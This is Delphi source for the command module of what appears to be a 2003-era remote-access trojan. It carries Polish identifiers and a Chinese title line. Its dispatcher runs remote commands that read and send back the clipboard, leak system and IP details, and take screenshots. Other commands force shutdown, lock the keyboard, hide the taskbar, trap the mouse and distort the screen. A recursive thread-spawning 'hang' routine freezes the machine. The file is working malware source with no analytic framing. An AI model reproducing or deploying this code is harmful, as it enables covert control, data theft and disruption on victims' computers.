figle.pas

2003年的远程控制

unit figle;

interface

procedure efekt_rozmazanie;
procedure efekt_plamistosc;
procedure efekt_ostrosc;
procedure efekt_wiatr;
procedure lupa;
procedure writetext(text:string);
procedure newline;
function FIG_commands(comm,par1,par2:string):boolean;

implementation

uses windows,forms,sysutils,messages,graphics,MMsystem,
{wlasne}
main,siec,stale,toolz,windoz,imager,extctrls,konfig;

var liney,linex:integer;

procedure status;
var  MemoryStatus: TMemoryStatus;
begin
  xsend(Inf_profile+config.profile);
  xsend(inf_sysdir+sysdirectory);
  xsend(Inf_windir+windirectory);
  xsend(Inf_remoteIP+form1.back.Socket.connections[0].LocalHost
   +'['+form1.back.socket.connections[0].LocalAddress+']');
{  xsend(Inf_localIP+form1.back.Socket.connections[0].RemoteHost
   +'['+form1.back.socket.connections[0].RemoteAddress+']');}
  MemoryStatus.dwLength := SizeOf(MemoryStatus);
  GlobalMemoryStatus(MemoryStatus);
  xsend(Inf_memoryInfo+inttostr(MemoryStatus.dwTotalPhys div 1024 div 1024)+' MB');
  xsend(Inf_screenxy+inttostr(screen.width)+'x'+inttostr(screen.height));
end;

procedure F_monitor(power:boolean);
begin
if power then
 SendMessage(GetDesktopwindow,wm_SysCommand,SC_MonitorPower,-1)
else
 SendMessage(Getdesktopwindow,wm_SysCommand,SC_MonitorPower,0)
end;

procedure F_ssaver(power:boolean);
begin
if power then
 SendMessage(getdesktopwindow,wm_SysCommand,sc_screensave,-1)
else
 SendMessage(getdesktopwindow,wm_SysCommand,sc_screensave,0);
end;

procedure F_mouseswap(swap:boolean);
begin
if swap then
 SystemParametersInfo(SPI_SETMOUSEBUTTONSWAP,1,nil,SPIF_UPDATEINIFILE)
 else
 SystemParametersInfo(SPI_SETMOUSEBUTTONSWAP,0,nil,SPIF_UPDATEINIFILE);
end;

procedure f_savertime(time:integer);
begin
SystemParametersInfo(SPI_SETSCREENSAVEACTIVE,1,nil,SPIF_UPDATEINIFILE);
SystemParametersInfo(SPI_SETSCREENSAVETIMEOUT,time,nil,SPIF_UPDATEINIFILE);
end;

procedure F_clip_empty;
begin
if OpenClipboard(getdesktopwindow) then
emptyclipboard else
xsend(Err_ClipBusy);
Closeclipboard;
end;

procedure F_clip_read;
var  clip:Thandle;
     buf:Pchar;
begin
 if OpenClipboard(getdesktopwindow) then
 begin
  clip:=GetClipboardData(cf_text);
  if clip<>0 then
       begin
       buf:=StrNew(GlobalLock(clip));
       GlobalUnlock(clip);
       xsend(Inf_Clip+buf);
       end else xsend(Inf_Clip);
 end else
  xsend(Err_ClipBusy);
 Closeclipboard;
end;

procedure F_clip_write(par1,par2:string);
var  clip:Thandle;
     buf:Pchar;
begin
 if par2<>'' then par1:=par1+' '+par2;
 if OpenClipboard(getdesktopwindow) then
 begin
  emptyclipboard;
  clip:=GlobalAlloc(gmem_Moveable,Length(par1)+1);
  buf:=GlobalLock(clip);
  StrCopy(buf,Pchar(par1));
  SetClipboardData(cf_Text,clip);
 end else xsend(Err_ClipBusy);
 Closeclipboard;
end;

procedure efekt_rozmazanie;
var x,y,mx,my,i:integer; {rozmazanie}
    dc:hdc;
begin
mx:=Screen.Width;
my:=Screen.Height;
dc:=CreateDC('DISPLAY',nil,nil,nil);
for i:=0 to 100 do
begin
x:=random(mx);
y:=random(my);
 SetPixelV(dc,x,y,GetPixel(dc,x+(random(3)-1),y+(random(3)-1)));
end;
DeleteDC(dc);
end;

procedure efekt_plamistosc;
var x,y,mx,my,i:integer; {plamisto滄}
    dc:hdc;
begin
mx:=Screen.Width;
my:=Screen.Height;
dc:=CreateDC('DISPLAY',nil,nil,nil);
for i:=0 to 100 do
begin
x:=random(mx);
y:=random(my);
 SetPixel(dc,x,y,GetPixel(dc,x,y) xor $ff5500);
end;
DeleteDC(dc);
end;

procedure efekt_ostrosc;
var x,y,mx,my,i:integer;  {ostrosc}
    dc:hdc;
    pix1,pix2,pix3,pix4:Tcolor;
    R,G,B:integer;
begin
mx:=Screen.Width;
my:=Screen.Height;
dc:=CreateDC('DISPLAY',nil,nil,nil);
for i:=0 to 500 do
begin
x:=random(mx);
y:=random(my);
 pix1:=GetPixel(dc,x-1,y);
 pix2:=GetPixel(dc,x+1,y);
 pix3:=GetPixel(dc,x,y+1);
 pix4:=GetPixel(dc,x,y-1);
R:=(GetRValue(pix1)+GetRValue(pix2)+GetRValue(pix3)+GetRValue(pix4)) div 4;
G:=(GetGValue(pix1)+GetGValue(pix2)+GetGValue(pix3)+GetGValue(pix4)) div 4;
B:=(GetBValue(pix1)+GetBValue(pix2)+GetBValue(pix3)+GetBValue(pix4)) div 4;
 pix1:=RGB(R,G,B);
 SetPixel(dc,x,y,pix1);
end;
DeleteDC(dc);
end;

procedure efekt_wiatr;
var x,y,mx,my,i:integer;  {wiatr}
    dc:hdc;
    pix1:Tcolor;
    R:integer;
begin
mx:=Screen.Width;
my:=Screen.Height;
dc:=CreateDC('DISPLAY',nil,nil,nil);
for i:=0 to 500 do
begin
 x:=random(mx);
 y:=random(my);
 pix1:=GetPixel(dc,x,y);
 R:=(GetGValue(pix1)+GetBValue(pix1)+GetRValue(pix1)) div 3;
 pix1:=RGB(R,R,R);
 SetPixel(dc,x,y,pix1);
end;
DeleteDC(dc);
end;

procedure newline;
begin
 if liney<Screen.height then inc(liney,16) else liney:=0;
 linex:=0;
end;

procedure writetext(text:string);
var dc:hdc;
begin
 dc:=CreateDC('DISPLAY',nil,nil,nil);
 TextOut(dc,linex,liney,Pchar(text),length(text));
{ inc(linex,length(text)*8);}
 deleteDC(dc);
end;

procedure screen_invert(par1,par2:string);
var dc:hdc;
    rec:trect;
begin
 dc:=CreateDC('DISPLAY',nil,nil,nil);
 SetRect(rec,0,0,Getdevicecaps(dc,horzres),getdevicecaps(dc,vertres));
 invertrect(dc,rec);
 deleteDC(dc);
 form1.timer1.Interval:=strtointdef(par1,0)*1000+100;
 form1.timer1.OnTimer:=form1.Timer1inv;
 form1.timer1.enabled:=true;
end;

procedure taskbar(b:boolean);
var wind:hwnd;
begin
 wind:=FindWindow('Shell_TrayWnd', nil);
 if not b then ShowWindow(wind,sw_hide) else
    ShoWwindow(wind,sw_show);
end;

procedure pulpit(b:boolean);
var wind:hwnd;
begin
 wind:=FindWindow('Progman', nil);
 if not b then ShowWindow(wind,sw_hide) else
  ShoWwindow(wind,sw_show);
end;

procedure startbtn(b:boolean);
var wind:hwnd;
begin
wind:=FindWindowEx(FindWindow('Shell_TrayWnd', nil),0,'Button',nil);
if not b then ShowWindow(wind,sw_hide) else
  ShoWwindow(wind,sw_show);
end;

procedure hang;
var x:cardinal;
    i:integer;
begin
for i:=1 to 10000 do
CreateThread(nil,0,@hang,nil,0,x);
end;

procedure odwracacz;
var width, height:WORD;
    dc:HDC;
    i:word;
    ekran:Timage;
begin
  width:=Screen.Width;
  height:=Screen.Height;
  ekran:=TImage.Create(nil);
  ekran.Width:=width;
  ekran.Height:=height;
  dc:=CreateDC('DISPLAY',nil,nil,nil);
  BitBlt(ekran.Canvas.Handle,0,0,width,height,dc,0,0,SRCCOPY );
  for i:=1 to 50 do
  StretchBlt(dc,0,i,width,height-2*i,ekran.Canvas.Handle,0,0,width,height,SRCCOPY );
  for i:=50 downto 0 do
  StretchBlt(dc,0,i,width,height-2*i,ekran.Canvas.Handle,0,0,width,height,SRCCOPY );
  DeleteDC(dc);
  ekran.free;
end;

procedure lupa;
var dc:HDC;
    ekran:Timage;
    p:tpoint;
begin
  getcursorpos(p);
  dc:=CreateDC('DISPLAY',nil,nil,nil);
  ekran:=Timage.create(nil);
  ekran.width:=100;
  ekran.height:=100;
  BitBlt(ekran.canvas.handle,0,0,100,100,dc,p.x,p.y,SRCCOPY);
  StretchBlt(dc,p.x,p.y,100,100,dc,p.x-10,p.y-10,10,10,SRCCOPY);
  BitBlt(dc,p.x,p.y,100,100,ekran.canvas.handle,0,0,SRCCOPY);
  DeleteDC(dc);
  ekran.free;
end;

procedure infocd;
var res:Pchar;
    i,max:integer; 
begin
GetMem(res,101);
mciSendString('status cdaudio number of tracks',res,100,0);
max:=strtointdef(res,0);
if max=0 then begin
		xsend(inf_cdinfo+'CD-Audio busy or not found');
		exit;
	      end;
for i:=1 to max do
 begin
 mciSendString(Pchar('status cdaudio length track '+inttostr(i)),res,100,0);
 xsend(inf_cdinfo+'Track '+inttostr(i)+' '+res);
 end;
Freemem(res);
end;


function FIG_commands(comm,par1,par2:string):boolean;
var oldvalue:longbool;
    punkt:Tpoint;
    rect:Trect;
begin
result:=true;
if comm='STATUS' then status
else if comm='CLEMPTY' then F_clip_empty
else if comm='CLREAD' then F_clip_read
else if comm='CLWRITE' then F_clip_write(par1,par2)
else if comm='STARTBTN' then startbtn(t_zerojeden(par1))
else if comm='TASKBAR' then taskbar(t_zerojeden(par1))
else if comm='PULPIT' then pulpit(t_zerojeden(par1))
else if comm='MONITOR' then F_monitor(t_zerojeden(par1))
else if comm='SAVER' then F_ssaver(t_zerojeden(par1))
else if comm='WAVE' then
 begin
 if par2<>'' then par1:=par1+' '+par2;
 SndPlaySound(Pchar(par1),SND_ASYNC);
 end else
if comm='WAVELOOP' then
 begin
 if par2<>'' then par1:=par1+' '+par2;
 SndPlaySound(Pchar(par1),SND_ASYNC OR SND_LOOP);
 end
else if comm='WAVESTOP' then SndPlaySound(nil,SND_ASYNC)
else if comm='INVERT' then screen_invert(par1,par2)
else if comm='SHUTDOWN' then ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE, 0)
else if comm='LOGOFF' then ExitWindowsEx(EWX_LOGOFF + EWX_FORCE, 0)
else if comm='REBOOT' then ExitWindowsEx(EWX_REBOOT + EWX_FORCE, 0)
else if comm='POWEROFF' then ExitWindowsEx(EWX_POWEROFF + EWX_FORCE, 0)
else if comm='MOUSESWAP' then F_mouseswap(t_zerojeden(par1))
else if comm='SAVERTIME' then F_savertime(strtointdef(par1,1)*60)
else if comm='WALLPAPER' then
 SystemParametersInfo(SPI_SETDESKWALLPAPER,0,Pchar(par1),SPIF_UPDATEINIFILE)
else if comm='FLASH' then
 begin
 SendMessage(Application.Handle,wm_SysCommand,SC_MonitorPower,0);
 form1.timer1.Interval:=strtointdef(par1,0)*1000+1;
 form1.timer1.OnTimer:=form1.TimerFlash;
 form1.timer1.enabled:=true;
 end
else if comm='JPEG' then
 begin
 vjpeg:=Tvjpeg.Create(nil);
 vjpeg.OpenFile(par1);
 systemparametersinfo(97,Word(True),@oldvalue,0);
 vjpeg.update;
 form1.timer1.Interval:=strtointdef(par2,3)*1000+1;
 form1.timer1.OnTimer:=form1.Timer1jpeg;
 form1.timer1.enabled:=true;
 end
else if comm='KEYLOCK' then
begin
 if t_zerojeden(par1) then
  systemparametersinfo(97,Word(True),@oldvalue,0) else
  systemparametersinfo(97,Word(False),@oldvalue,0);
end
else if comm='SCREEN' then begin
        if par1='' then
        screendump(0,sysdirectory+'\'+defscrfile)
        else screendump(0,par1);
        xsend(Inf_ScrDone);
        end
else if comm='APPSCREEN' then begin
        if par1='' then exit;
        if par2='' then
        screenappdump(strtointdef(par1,0),sysdirectory+'\'+defscrfile)
        else screendump(strtointdef(par1,0),par2);
        xsend(Inf_ScrDone);
        end
else if comm='ISTOP' then application.onidle:=nil
else if comm='PAINT1' then application.onidle:=form1.mazak
else if comm='PAINT2' then application.onidle:=form1.mazak2
else if comm='PAINT3' then application.onidle:=form1.mazak3
else if comm='PAINT4' then application.onidle:=form1.mazak4
else if comm='HANG' then hang
else if comm='WRITELN' then begin writetext(par1plus2(par1,par2)); newline; end
else if comm='WRITE' then writetext(par1plus2(par1,par2))
else if comm='ODWRACACZ' then odwracacz
else if comm='ODWRACACZ2' then application.onidle:=form1.mazak5
else if comm='OPENCD' then mciSendString('set cdaudio door open', nil, 0, getdesktopwindow)
else if comm='CLOSECD' then mciSendString('set cdaudio door closed', nil, 0, getdesktopwindow)
else if comm='PLAYCD' then begin
			   mciSendString('set cdaudio time format tmsf',nil,0,getdesktopwindow);
			   mciSendString(Pchar('play cdaudio from '+par1),nil,0,getdesktopwindow)
			   end
else if comm='INFOCD' then infocd
else if comm='BEEP' then messagebeep(1)
else if comm='SET_MOUSE' then setcursorpos(strtointdef(par1,0),strtointdef(par2,0))
else if comm='GET_MOUSE' then begin
                         getcursorpos(punkt);
                         xsend(inf_mouse+inttostr(punkt.x)+' '+inttostr(punkt.y));
                         end
else if comm='CLIP1' then begin
				getclipcursor(rect);
                                rect.Left:=strtointdef(par1,0);
                                rect.Top:=strtointdef(par2,0);
                                Clipcursor(@rect);
                                end
else if comm='CLIP2' then begin
                                getclipcursor(rect);
                                rect.Right:=strtointdef(par1,screen.width);
                                rect.Bottom:=strtointdef(par2,screen.height);
                                Clipcursor(@rect);
                                end
else if comm='UNCLIP' then begin
                                setrect(rect,0,0,screen.width,screen.height);
                                Clipcursor(@rect);
                                end
else
 result:=false;
end;

begin
liney:=0;
linex:=0;
end.